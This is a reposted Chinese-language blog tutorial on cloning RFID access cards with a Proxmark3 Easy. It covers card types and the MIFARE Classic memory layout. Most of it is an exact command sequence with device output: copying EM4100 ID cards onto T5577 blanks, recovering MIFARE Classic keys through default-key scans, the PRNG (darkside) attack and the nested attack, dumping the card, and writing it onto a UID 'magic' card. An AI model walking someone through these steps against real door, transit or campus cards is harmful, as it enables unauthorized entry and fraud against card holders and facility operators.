轉載至:https://lzy-wi.github.io/2018/07/26/proxmark3/
大家請看源作者文章,如果鏈接失效纔看本篇吧。
前言
安全不僅僅包含網絡上的安全,在我們實際生活中也同樣存在很多個安全相關的事物,可以說跟科技扯上關係的事物都會有安全問題,無線,藍牙,手機,無人機,汽車。真正有問題的不是安全,而是人心。很多事物的設計之初都是沒有考慮安全問題的,因爲人心的不壞好意迫使去考慮它的安全問題。
硬件準備
破解設備
Proxmark3 Easy
破解工具不一定是Proxmark3 Easy,只要是還能夠獲取和修改卡片數據的設備都可以,比如arc122u,arc122u只能讀取和修改高頻卡,有點不足
各種卡
準備一些ID,IC卡
這不都長一個樣麼(#-.-)
區分ID卡和IC卡的方法
- 光照法
- 圓形大多是ID卡,方形大多是IC卡
- NFC法
拿一部帶有NFC功能的手機打開NFC,卡片靠近手機會響的是IC卡,不會響的是ID卡
知識準備
首先,門禁卡所用到的技術是RFID,具體詳情可以看這裏–>傳送門,首先從頻率上可以分爲高頻(13.56MHZ)和低頻兩種類型的卡,在這兩個頻率上又會分爲多種類型的卡。常見的卡的有
類型 |
頻率 |
特性 |
---|
Mifare S50(簡稱M1) |
高頻 |
最常見的卡,每張卡有獨一無二的UID號,可保存修改數據,常見學生卡,飯卡,公交卡,門禁卡 |
Mifare UltraLight(簡稱M0) |
高頻 |
低成本卡,出廠固化UID,可儲存修改數據,常見地鐵卡,公交卡 |
Mifare UID(簡稱UID卡) |
高頻 |
M1卡的變異版本,可修改UID,國外叫做中國魔術卡,可以用來克隆M1 S50的數據 |
EM4XX(簡稱ID卡) |
低頻 |
常用固化ID卡,出廠固化ID,只能讀不能寫(低成本門禁卡,小區門禁卡,停車場門禁卡) |
T5577(簡稱可修改ID卡) |
低頻 |
可用來克隆ID卡,出廠爲空卡,內有三區也可儲存數據,個別三區科設置密碼 |
HID ProxⅡ(簡稱HID卡) |
低頻 |
美國常用的低頻卡,可擦寫,不與其他卡通用 |
高頻
M1 S50卡
目前最常見的高頻卡,也是我們口中俗稱的IC卡。M1卡科儲存的數據大小爲8k,分爲16個扇區,每個扇區分4個塊,每個塊爲16個字節,以塊爲存取單位。每個扇區都有獨立的一組密碼及訪問控制,每張卡有唯一的一個32位的序列號。每個扇區的0,1,2塊爲數據塊,用來存儲數據,第3塊爲控制塊,包括了密A、存取控制、密碼B
每張卡的第0扇區的第0塊用來春芳廠商代碼,不可更改。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
扇區0 03332801198804008500b42ef0bb6aa8 塊0 //廠商代碼,不可更改
00000000000000000000000000000000 塊1 //數據塊
00000000000000000000000000000000 塊2 //數據塊
ffffffffffffff078069ffffffffffff 塊3 //密碼A(6字節),存儲控制(4字節),密碼B(6字節)
扇區1 00000000000000000000000000000000 塊4 //出了第0扇區稍有不同,其他15個扇區結構完全一樣
00000000000000000000000000000000 塊5
00000000000000000000000000000000 塊6
ffffffffffffff078069ffffffffffff 塊7
.
.
.
扇區15 00000000000000000000000000000000 塊60
00000000000000000000000000000000 塊61
00000000000000000000000000000000 塊62
ffffffffffffff078069ffffffffffff 塊63
|
中間4字節控制字是管理密碼權限,用來設置A密碼和B密碼的功能。默認不修改的時候,可以用A密碼讀寫所有數據。A密碼不可讀出,B密碼可以用A密碼讀出。密碼不一定可以讀取,由控制字決定。
M1 UID卡
M1 UID卡是針對M1 S50卡特製的變種卡,用起來和M1 S50完全一樣,只是多了一個功能,就是0扇區塊的數據可以隨意修改。因此UID號也可以隨意修改,廠家信息也可以隨意修改。UID卡修改0扇區0塊數據是靠指令進入工廠模式,可以直接對全卡任何數據編輯,不需要密碼即可讀寫卡,同時不怕寫壞卡,即使寫錯0塊,寫壞扇區控制字,也可以隨時修復回來,不影響後續使用。
FUID卡
FUID卡是針對UID卡做的優化。新的讀卡系統,通過檢測卡片對特殊指令的迴應,可以檢測出UID卡,因此可以來拒絕UID卡的訪問,來達到屏蔽複製卡的功能。FUID可以修改0塊,但只可以修改一次,寫錯也沒辦法更改,也不能重複利用。修改後和M1卡完全一樣,很難被屏蔽檢測。
CUID卡
CUID卡是針對FUID卡做的優化。CUID卡可以重複修改0塊,但是它和UID卡的區別是,UID卡是通過指令修改0塊,CUID使用的是常規密碼驗證的方法寫0塊,其他扇區和標準M1卡相同。缺點是,還是有可能會被檢測出來,而且如果不小心寫錯了UID號的校驗位導致無法讀卡,沒辦法修復只能報廢。
低頻
ID卡
ID卡是我們的俗稱,內部芯片的全名叫做EM4100或EM41XX。每張卡出廠就有獨一無二的ID號,不可改寫。
T5577卡
T5577 卡是一種可以寫入數據可以加密的低頻卡。最特別之處是,寫入ID號可以變身成爲ID卡,寫入HID號可以變身HID卡,寫入Indala卡號,可以變身Indala卡。T5577一共有8個塊,每個塊只能存8位數。第0塊是用來設置卡片類型和調製方式的,決定了卡片是ID卡還是HID卡,如果隨意修改會導致讀不到卡。最後一個塊,在沒有加密時是數據區,加密後,其數據就變成了密碼。結構如下
1
2
3
4
5
6
7
8
|
0x00148040 00000000000101001000000001000000 [0]
0xFF94C004 11111111100101001100000000000100 [1]
0xA5464942 10100101010001100100100101000010 [2]
0xFFFFF808 11111111111111111111100000001000 [3]
0x0001C000 00000000000000011100000000000000 [4]
0x0001C000 00000000000000011100000000000000 [5]
0x0001C000 00000000000000011100000000000000 [6]
0x0001C000 00000000000000011100000000000000 [7]
|
破解
破解ID卡
安裝驅動
驅動下載官網網址–>傳送門
安裝驅動文件前需要禁用驅動安裝強制簽名,方法–>傳送門
驅動安裝方法
我的電腦右鍵–>管理–>設備管理器–>端口下的設備右鍵–>更新驅動程序–>瀏覽我的計算機–>選擇本地–>從磁盤安裝–找到官方的驅動文件–>確認
驅動安裝完成會顯示圖片上的樣子,記住COM端口
硬件使用方法
Proxmark3 Easy
1 功能按鈕
2 ABCD工作狀態指示燈
3 USB接口
4 電源指示燈
5 低頻讀卡區
6 高頻讀卡區
功能按鈕有退出
、取消
、停止
、強刷固件
的功能,ABCD指示燈作爲設備運行的依據,閃爍說明正在進行,完全熄滅或者常亮代表攻擊失敗、等待。全部熄滅表示已經停止運行了,直接重新拔插設備。
破解方法
讀卡片ID號→換上T5577卡→把ID號寫入卡片→完成
ID是沒有密碼只有卡號的,因此只要知道卡號就可以複製。
軟件資料包–>密碼: f8q4
打開官方軟件固件\pm3-bin-2.5.0\win32(client+GUI)\Proxmark Tool.exe
,箭頭所指選擇剛剛驅動安裝的那個COM端口
,連接Proxmark3,接入電腦後,電源指示燈處POW
亮藍燈,FULL
亮綠燈,CHR
閃爍微弱紅燈。
在COMMAND TO SEND
裏輸入hw tune
測試天線諧振電壓,高頻超過5V,低頻超過10V就可以正常使用。
1
2
3
4
5
6
7
|
proxmark3> hw tune
Measuring antenna characteristics, please wait........
# LF antenna: 22.27 V @ 125.00 kHz
# LF antenna: 31.76 V @ 134.00 kHz
# LF optimal: 31.76 V @ 133.33 kHz
# HF antenna: 20.17 V @ 13.56 MHz
Displaying LF tuning graph. Divisor 89 is 134khz, 95 is 125khz.
|
把低頻ID卡(門禁卡)放到低頻讀卡區輸入lf search
獲取ID卡的信息,把卡號抄下來,複製時要用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
proxmark3> lf search
Reading 30000 bytes from device memory
Data fetched
Samples @ 8 bits/smpl, decimation 1:1
NOTE: some demods output possible binary
if it finds something that looks like a tag
False Positives ARE possible
Checking for known tags:
EM410x pattern found:
EM TAG ID : 0000001450 //ID卡號,這個抄下來,如果是HID卡會顯示HID
Unique TAG ID : 000000280A
Possible de-scramble patterns
HoneyWell IdentKey {
DEZ 8 : 00005200
DEZ 10 : 0000005200
DEZ 5.5 : 00000.05200
DEZ 3.5A : 000.05200
DEZ 3.5B : 000.05200
DEZ 3.5C : 000.05200
DEZ 14/IK2 : 00000000005200
DEZ 15/IK3 : 000000000010250
DEZ 20/ZK : 00000000000002080010
}
Other : 05200_000_00005200
Pattern Paxton : 1331792 [0x145250]
Pattern 1 : 16652 [0x410C]
Pattern Sebury : 5200 0 5200 [0x1450 0x0 0x1450]
Valid EM410x ID Found! //卡的類型
|
把T5577卡放到低頻讀卡區,輸入命令lf hid clone 0000001450
1
2
3
4
|
proxmark3> lf hid clone 0000001450
Cloning tag with ID 000001450
proxmark3>
proxmark3> #db# DONE!
|
上述命令在左上方的命令樹中都可以找到,左邊有一些按鈕和命令的介紹
ID卡複製就完成了
效果如下
破解IC卡
IC卡破解思路
獲取任意扇區的密鑰
- PRNG 漏洞攻擊得 0 扇區密匙
- 默認密碼掃描獲得密匙
- 嗅探讀卡機和卡片交互數據獲得密匙
- 模擬成 M1 卡刷卡後捕獲密匙(挑讀卡機,兼容性不好)
↓
利用MFOC漏洞用已知扇區密鑰求所有扇區密鑰
↓
用破解出的密匙把卡片數據讀出導入電腦
↓
把電腦中的數據寫入UID卡中
第一步是最重要也是最難的一步,很多IC卡往往都是難以攻破0扇區的密鑰而無法進行下一步。默認密碼掃描看運氣,PRNG漏洞攻擊概率低,後面兩個雖然概率高但是成本高且實施比較困難。
上面的Proxmark Tool
是官方英文版GUI,還有國內中文版GUI(Proxmark3_EASY_GUI),中文版的GUI比較簡單,不用記很多命令,原生態PM3指令臺
就是純命令行模式,看起來也比較有逼格點。一開始我是根據資料用英文版的GUI,感覺不怎麼好用,後來用了原生態後覺得原生態的好用多了,但是要記命令,命令忘記了就用中文GUI查命令ㄟ( ▔, ▔ )ㄏ。can't slect card
這個bug也是在用了原生態之後才知道的。
PRNG漏洞獲取0扇區密鑰,486固件不掉線外,630之後的固件,有些卡可以破,有卡些會掉線並出現can’t slect card
獲取0扇區密鑰
扯遠了,默認密碼掃描hf mf chk *1 ? t
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
proxmark3> hf mf chk *1 ? t
No key specified, trying default keys
chk default key[ 0] ffffffffffff
chk default key[ 1] 000000000000
chk default key[ 2] a0a1a2a3a4a5
chk default key[ 3] b0b1b2b3b4b5
chk default key[ 4] aabbccddeeff
chk default key[ 5] 4d3a99c351dd
chk default key[ 6] 1a982c7e459a
chk default key[ 7] d3f7d3f7d3f7
chk default key[ 8] 714c5c886e97
chk default key[ 9] 587ee5f9350f
chk default key[10] a0478cc39091
chk default key[11] 533cb6c723f6
chk default key[12] 8fd0a4f256e9
--sector: 0, block: 3, key type:A, key count:13
.
.
.
--sector:15, block: 63, key type:B, key count:13
Found valid key:[ffffffffffff]
Found keys have been transferred to the emulator memory
|
密碼是默認密碼的時候可以掃的出來,不是默認密碼可以嘗試PRNG漏洞獲取0扇區密鑰hf mf mifare
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
proxmark3>hf mf mifare
.
.
.
uid(ea117dee) nt(431c39b0) par(0000000000000000) ks(030702000a030209) nr(800000005)
|diff|{nr} |ks3|ks3^5|parity |
+----+--------+---+-----+---------------+
| 00 |00000005| 3 | 6 |0,0,0,0,0,0,0,0|
| 20 |00000025| 7 | 2 |0,0,0,0,0,0,0,0|
| 40 |00000045| 2 | 7 |0,0,0,0,0,0,0,0|
| 60 |00000065| 0 | 5 |0,0,0,0,0,0,0,0|
| 80 |00000085| a | f |0,0,0,0,0,0,0,0|
| a0 |000000a5| 3 | 6 |0,0,0,0,0,0,0,0|
| c0 |000000c5| 2 | 7 |0,0,0,0,0,0,0,0|
| e0 |000000e5| 9 | c |0,0,0,0,0,0,0,0|
parity is all zero,try special attack!just wait for few more seconds...
p1:0 p2:0 p3:0 key:ffffffffffff
p1:58b87 p2:61ec p3:1 key:b4c98bd73e94
p1:c6a1b p2:d983 p3:2 key:576efc88ccc7
p1:ef844 p2:106dd p3:3 key:34ed3c6092e9
p1:f7e1e p2:10fd7 p3:4 key:2de06659d60e
p1:1239c0 p2:13fa0 p3:5 key:08b7558601a1
p1:12d1b3 p2:149c9 p3:6 key:00adbba1e330
key_count:7
------------------------------------------------------------------
Key found:ffffffffffff
Found valid key:ffffffffffff
|
因爲設備是我小姐姐的,固件是630之後的,所以會出現很多#db# Mifare: Can't select card
,就放不了全部代碼,查看固件命令hw version
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
proxmark3> hw version
#db# Prox/RFID mark3 RFID instrument
#db# bootrom: /-suspect 2016-11-09 00:59:56
#db# os: /-suspect 2016-12-08 12:45:38
#db# HF FPGA image built on 2015/03/09 at 08:41:42
#db# Modify by Willok([email protected])
#db# proxmark3.taobao.com
uC: AT91SAM7S256 Rev B
Embedded Processor: ARM7TDMI
Nonvolatile Program Memory Size: 256K bytes
Second Nonvolatile Program Memory Size: None
Internal SRAM Size: 64K bytes
Architecture Identifier: AT91SAM7Sxx Series
Nonvolatile Program Memory Type: Embedded Flash Memory
|
Tip:固件版本是根據固件的日期來看的
我們可以測試一下我們拿到的密鑰對不對,錯誤不會返回最下面那一行
1
2
3
4
|
proxmark3> hf mf chk 0 A ffffffffffff
chk key[ 0] ffffffffffff
--sector: 0, block: 0, key type:A, key count: 1
Found valid key:[ffffffffffff]
|
知一求十五
獲取到0扇區的密鑰後我們就可以通過MFOC漏洞獲取所有扇區的密鑰(100%成功)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
proxmark3> hf mf nested 1 0 A ffffffffffff //0是0扇區,A密鑰
Testing known keys. Sector count=16
nested...
Time in nested: 4.330 (inf sec per key)
-----------------------------------------------
Iterations count: 0
|---|----------------|---|----------------|---|
|sec|key A |res|key B |res|
|---|----------------|---|----------------|---|
|000| ffffffffffff | 1 | ffffffffffff | 1 |
|001| ffffffffffff | 1 | ffffffffffff | 1 |
|002| ffffffffffff | 1 | ffffffffffff | 1 |
|003| ffffffffffff | 1 | ffffffffffff | 1 |
|004| ffffffffffff | 1 | ffffffffffff | 1 |
|005| ffffffffffff | 1 | ffffffffffff | 1 |
|006| ffffffffffff | 1 | ffffffffffff | 1 |
|007| ffffffffffff | 1 | ffffffffffff | 1 |
|008| ffffffffffff | 1 | ffffffffffff | 1 |
|009| ffffffffffff | 1 | ffffffffffff | 1 |
|010| ffffffffffff | 1 | ffffffffffff | 1 |
|011| ffffffffffff | 1 | ffffffffffff | 1 |
|012| ffffffffffff | 1 | ffffffffffff | 1 |
|013| ffffffffffff | 1 | ffffffffffff | 1 |
|014| ffffffffffff | 1 | ffffffffffff | 1 |
|015| ffffffffffff | 1 | ffffffffffff | 1 |
|---|----------------|---|----------------|---|
|
接下來導出密鑰
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
proxmark3> hf mf nested 1 0 A ffffffffffff d
Testing known keys. Sector count=16
nested...
Time in nested: 4.302 (inf sec per key)
-----------------------------------------------
Iterations count: 0
|---|----------------|---|----------------|---|
|sec|key A |res|key B |res|
|---|----------------|---|----------------|---|
|000| ffffffffffff | 1 | ffffffffffff | 1 |
|001| ffffffffffff | 1 | ffffffffffff | 1 |
|002| ffffffffffff | 1 | ffffffffffff | 1 |
|003| ffffffffffff | 1 | ffffffffffff | 1 |
|004| ffffffffffff | 1 | ffffffffffff | 1 |
|005| ffffffffffff | 1 | ffffffffffff | 1 |
|006| ffffffffffff | 1 | ffffffffffff | 1 |
|007| ffffffffffff | 1 | ffffffffffff | 1 |
|008| ffffffffffff | 1 | ffffffffffff | 1 |
|009| ffffffffffff | 1 | ffffffffffff | 1 |
|010| ffffffffffff | 1 | ffffffffffff | 1 |
|011| ffffffffffff | 1 | ffffffffffff | 1 |
|012| ffffffffffff | 1 | ffffffffffff | 1 |
|013| ffffffffffff | 1 | ffffffffffff | 1 |
|014| ffffffffffff | 1 | ffffffffffff | 1 |
|015| ffffffffffff | 1 | ffffffffffff | 1 |
|---|----------------|---|----------------|---|
Printing keys to binary file dumpkeys.bin...
|
導出後會在根目錄生成一個dumpkeys.bin的文件,裏面存放了16個扇區的密鑰(16進制)
導出數據
拿到密碼後我們就可以導出卡上的數據到電腦裏
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
proxmark3> hf mf dump
|-----------------------------------------|
|------ Reading sector access bits...-----|
|-----------------------------------------|
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
.
.
.
#db# READ BLOCK FINISHED
#db# READ BLOCK FINISHED
|-----------------------------------------|
|----- Dumping all blocks to file... -----|
|-----------------------------------------|
#db# READ BLOCK FINISHED
Successfully read block 0 of sector 0.
#db# READ BLOCK FINISHED
Successfully read block 1 of sector 0.
.
.
.
#db# READ BLOCK FINISHED
Successfully read block 3 of sector 15.
Dumped 64 blocks (1024 bytes) to file dumpdata.bin
|
同樣16進制打開
因爲是測試卡,所以裏面就沒什麼數據ㄟ( ▔, ▔ )ㄏ。
寫入UID卡
下一步把數據寫進寫UID卡
Proxmark3不能識別、使用bin文件,需要轉換成eml格式
第一個方法是運行下面的命令轉成eml格式
1
2
3
4
5
|
proxmark3> script run dumptoemul.lua
--- Executing: ./scripts/dumptoemul.lua, args''
Wrote an emulator-dump to the file EA117DEE.eml
-----Finished
|
第二個方法是運行dump to EML.bat
腳本轉成eml格式
寫入到白卡(UID卡)上
1
2
|
proxmark3> hf mf cload dumpdata
Loaded from file: dumpdata.eml
|
寫卡是沒有回顯的,只能通過讀取的方式查看有沒有讀取成功,對比兩張卡的數據就可以看到數據是一模一樣的,克隆就完成了
IC卡破解不止這一種方法,能力和設備有限,以後有機會會繼續學習下去